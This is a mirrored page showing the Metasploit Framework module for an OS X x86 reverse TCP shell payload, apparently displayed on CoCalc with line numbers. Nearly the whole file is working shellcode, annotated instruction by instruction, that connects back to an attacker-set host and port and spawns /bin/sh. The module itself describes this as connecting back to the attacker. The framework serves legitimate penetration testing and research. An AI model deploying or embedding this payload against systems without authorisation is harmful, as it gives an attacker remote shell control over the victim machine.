Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/osx/x86/shell_reverse_tcp.rb
19516 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = 65
8
9
include Msf::Payload::Single
10
include Msf::Payload::Osx
11
include Msf::Sessions::CommandShellOptions
12
13
def initialize(info = {})
14
super(
15
merge_info(
16
info,
17
'Name' => 'OS X Command Shell, Reverse TCP Inline',
18
'Description' => 'Connect back to attacker and spawn a command shell',
19
'Author' => 'Ramon de C Valle',
20
'License' => MSF_LICENSE,
21
'Platform' => 'osx',
22
'Arch' => ARCH_X86,
23
'Handler' => Msf::Handler::ReverseTcp,
24
'Session' => Msf::Sessions::CommandShellUnix,
25
'Payload' => {
26
'Offsets' =>
27
{
28
'LHOST' => [ 1, 'ADDR' ],
29
'LPORT' => [ 8, 'n' ]
30
},
31
'Payload' =>
32
"\x68\x7f\x00\x00\x01" + # pushl $0x0100007f #
33
"\x68\xff\x02\x04\xd2" + # pushl $0xd20402ff #
34
"\x89\xe7" + # movl %esp,%edi #
35
"\x31\xc0" + # xorl %eax,%eax #
36
"\x50" + # pushl %eax #
37
"\x6a\x01" + # pushl $0x01 #
38
"\x6a\x02" + # pushl $0x02 #
39
"\x6a\x10" + # pushl $0x10 #
40
"\xb0\x61" + # movb $0x61,%al #
41
"\xcd\x80" + # int $0x80 #
42
"\x57" + # pushl %edi #
43
"\x50" + # pushl %eax #
44
"\x50" + # pushl %eax #
45
"\x6a\x62" + # pushl $0x62 #
46
"\x58" + # popl %eax #
47
"\xcd\x80" + # int $0x80 #
48
"\x50" + # pushl %eax #
49
"\x6a\x5a" + # pushl $0x5a #
50
"\x58" + # popl %eax #
51
"\xcd\x80" + # int $0x80 #
52
"\xff\x4f\xe8" + # decl -0x18(%edi) #
53
"\x79\xf6" + # jns <cntsockcode+34> #
54
"\x68\x2f\x2f\x73\x68" + # pushl $0x68732f2f #
55
"\x68\x2f\x62\x69\x6e" + # pushl $0x6e69622f #
56
"\x89\xe3" + # movl %esp,%ebx #
57
"\x50" + # pushl %eax #
58
"\x54" + # pushl %esp #
59
"\x54" + # pushl %esp #
60
"\x53" + # pushl %ebx #
61
"\x50" + # pushl %eax #
62
"\xb0\x3b" + # movb $0x3b,%al #
63
"\xcd\x80" # int $0x80 #
64
}
65
)
66
)
67
end
68
end
69
70